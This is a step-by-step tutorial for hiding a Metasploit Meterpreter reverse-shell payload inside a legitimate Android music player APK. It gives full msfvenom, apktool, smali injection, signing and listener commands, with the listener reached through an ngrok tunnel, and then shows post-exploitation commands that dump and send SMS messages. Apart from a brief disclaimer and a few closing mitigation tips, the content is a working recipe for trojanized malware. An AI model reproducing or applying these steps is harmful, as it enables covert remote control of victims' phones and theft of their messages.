3 minutes
Embed Malicous Payload to Android Apk With Metasploit
Disclaimer: This information is for educational purposes ONLY. Do not engage in illegal or unethical activities.
I. Prerequisites
- Kali Linux Virtual Machine: Required for using
msfvenomand Metasploit. - ngrok Account & Tool: For creating a secure tunnel to your local machine.
- Sign up at the official ngrok website.
- Download and install the ngrok tool.
- Base Android APK File: An existing APK file to embed the payload into (e.g., a music player APK - exercise caution and ensure proper permissions).
- apktool: For decompiling and recompiling APK files.
- Install on Kali:
sudo apt-get install apktool - Consider using version
2.4.1for potentially more stable recompilation: [link to download apktool_2.4.1.jar]
- Install on Kali:
- Java Development Kit (JDK): Required for signing the APK.
II. Generating the Malicious Payload
- Start ngrok TCP Service:
ngrok tcp 4444- Note the ngrok forwarding address and port.
- Generate Payload using msfvenom:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<ngrok_forwarding_address> LPORT=<ngrok_forwarding_port> R > msf_https.apk- Replace
<ngrok_forwarding_address>and<ngrok_forwarding_port>with the values from ngrok.
- Replace
III. Decompiling the Base APK
- Decompile using apktool:
apktool d -f Music_player.apk -o Original- Replace
Music_player.apkwith the name of your base APK file.
- Replace
IV. Modifying the APK Files
- Access the
comDirectory (Malicious Payload):cd malicious_dir/smali/commalicious_dirrefers to the directory wheremsf_https.apkwas created.
- Copy Metasploit Directory:
- Copy the
metasploitdirectory found within thecomdirectory.
- Copy the
- Paste Metasploit Directory (Base APK):
- Navigate to
Original/smali/comand paste the copiedmetasploitdirectory.
- Navigate to
- Modify
AndroidManifest.xml(Permissions):- Open
malicious_dir/AndroidManifest.xmlin a text editor. - Copy all
<uses-permission>lines. - Open
Original/AndroidManifest.xmlin a text editor. - Paste the copied permissions inside the root
<manifest>tag. - Important: Remove any duplicate permissions.
- Open
- Modify
AndroidManifest.xml(Main Activity):- In
Original/AndroidManifest.xml, search foraction.MAIN. - Within the
<intent-filter>containingaction.MAIN, locate the<activity>tag. - Note the
android:nameattribute value (e.g.,com.musicplayer.player.mp3player.white.start.MainActivity).
- In
- Modify
MainActivity.smali:- Navigate to the directory corresponding to the main activity noted in the previous step (e.g.,
Original/smali/com/musicplayer/player/mp3player/white/start). - Open
MainActivity.smali. - Search for the
OnCreate(Landroid/os/Bundle;)Vmethod. - On the line immediately following this method, paste the following code:
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V - Save the
MainActivity.smalifile.
- Navigate to the directory corresponding to the main activity noted in the previous step (e.g.,
V. Recompiling, Signing, and Zipaligning
- Recompile the APK:
java -jar ~/Downloads/apktool_2.4.1.jar b Original- Adjust the path to
apktool_2.4.1.jarif necessary. The recompiled APK will be inOriginal/dist/.
- Adjust the path to
- Generate a Signing Key:
keytool -genkey -V -keystore ~/Documents/Medium/p3/key.keystore -alias elliot -keyalg RSA -keysize 2048 -validity 1000- Fill in the required information. Remember the keystore path, alias, and password.
- Sign the APK:
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore ~/Documents/Medium/p3/key.keystore Original/dist/Music_player.apk <alias_name>- Replace
~/Documents/Medium/p3/key.keystorewith your keystore path and<alias_name>with your alias. You might need to renameOriginal/dist/Music_player.apkto the original APK filename.
- Replace
- Zipalign the APK:
zipalign -v 4 Original/dist/Music_player.apk music_final.apk- Replace
Original/dist/Music_player.apkwith the signed APK file path.music_final.apkwill be your final, optimized APK.
- Replace
VI. Setting up Metasploit Listener
- Start Metasploit Console:
msfconsole -q - Configure the
multi/handler:use multi/handler set payload android/meterpreter/reverse_tcp set LHOST 0.0.0.0 set LPORT <ngrok_forwarding_port> exploit- Ensure
LPORTmatches the ngrok forwarding port.
- Ensure
VII. Testing the APK (Ethical and Authorized Environments Only)
- Distribution: Send
music_final.apkto your test Android device (e.g., using ADB, email - be aware of potential antivirus detection). - Installation: Install the APK on the test device.
- Execution: Open the application on the test device.
- Meterpreter Session: Observe the Metasploit console for a new Meterpreter session.
VIII. Metasploit Commands (Example)
- View Available Commands:
help - Dump SMS Messages:
dump_sms - Send Custom SMS Message:
send_sms -d <phone_number> -t "Custom Message"- Replace
<phone_number>with the target number.
- Replace
IX. Mitigation and Prevention Strategies
- Only download apps from official app stores.
- Install and keep antivirus software updated.
- Carefully review app permissions before installation.
- Keep your device and apps updated.
- Be aware of the risks of installing apps from unknown sources.
Remember: This information is for educational purposes only. Always act ethically and legally.